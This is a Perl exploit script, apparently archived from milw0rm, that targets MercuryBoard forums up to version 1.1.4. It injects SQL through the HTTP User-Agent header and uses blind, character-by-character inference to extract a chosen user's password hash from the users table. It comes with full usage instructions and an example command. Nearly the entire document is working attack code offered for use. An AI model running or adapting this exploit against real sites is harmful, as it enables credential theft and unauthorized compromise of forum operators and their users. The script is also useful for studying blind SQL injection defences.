MercuryBoard <= 1.1.4 SQL Injection Exploit

                                                #!/usr/bin/perl

### MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### * note: you need first register on forum for get id and login
### after what logout from forum and run exploit
### * note2: edit timestamp in sources if exploit not work ;)
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf
### RST/GHC - http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;
use Getopt::Std;

getopts('h:f:b:i:l:p:');

$server    = $opt_h;
$path      = $opt_f;
$member_id = $opt_b;
$hacker_id = $opt_i;
$hacker_l  = $opt_l;
$prefix    = $opt_p || 'mb_' ;

if(!$server||!$path||!$member_id||!$hacker_id||!$hacker_l) { &usage; }

$server =~ s!(http:\/\/)!!;

$request  = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~]      SERVER  : $server\r\n";
print " [~]  FORUM PATH  : $path\r\n";
print " [~] ID FOR BRUTE : $member_id\r\n";
print " [~]    HACKER ID : $hacker_id\r\n";
print " [~] HACKER LOGIN : $hacker_l\r\n";
print " [~] TABLE PREFIX : $prefix\r\n\r\n";
print " [~] SEARCHING PASSWORD ... [|]";

while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{\b\b DONE ] 
 
 -------------------------------------------------------------------
 USER ID : $member_id
    HASH : $allchar
 -------------------------------------------------------------------
 };
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0]; 
 
 $user_agent2 = "666',''),($hacker_id, 'board', 0, (SELECT/**/if((ascii(substring((SELECT/**/user_password/**/FROM/**/${prefix}users/**/WHERE/**/user_id=$member_id),$s_num,1)))$ccheck,1119336207,0)), '666.666.666.666', '666', '666')/*";

 $sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
 printf $sock2 ("GET %s?a=active HTTP/1.0\nHost: %s\nUser-Agent: %s\nAccept: */*\nConnection: close\n\n",
 $request,$server,$user_agent2);
 
 while(<$sock2>) 
  {   
  #print $_;
  if (/w=$hacker_id"\>$hacker_l/) { return 1; }
  } 

 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b/]";  }
  if($status==1){ print "\b\b-]";  }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]";  }
}

sub usage()
 {
 &head;
 print q(
 USAGE
    r57mercury.pl [OPTIONS]
  
 OPTIONS
  -h [host]     ~ host where mercury board installed
  -f [/folder/] ~ folder where mercury board installed
  -b [user_id]  ~ user id for bruteforce
  -i [id]       ~ hacker id (hacker must be register on forum)
  -l [login]    ~ hacker login on forum
  -p [prefix]   ~ database tables prefix (optional)
                  default is "mb"
 E.G.
  r57mercury.pl -h www.blah.com -f /mercuryboard/ -b 2 -i 3 -l lamer
 -------------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 -------------------------------------------------------------------
 MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
 -------------------------------------------------------------------
 );
 }

# milw0rm.com [2005-06-21]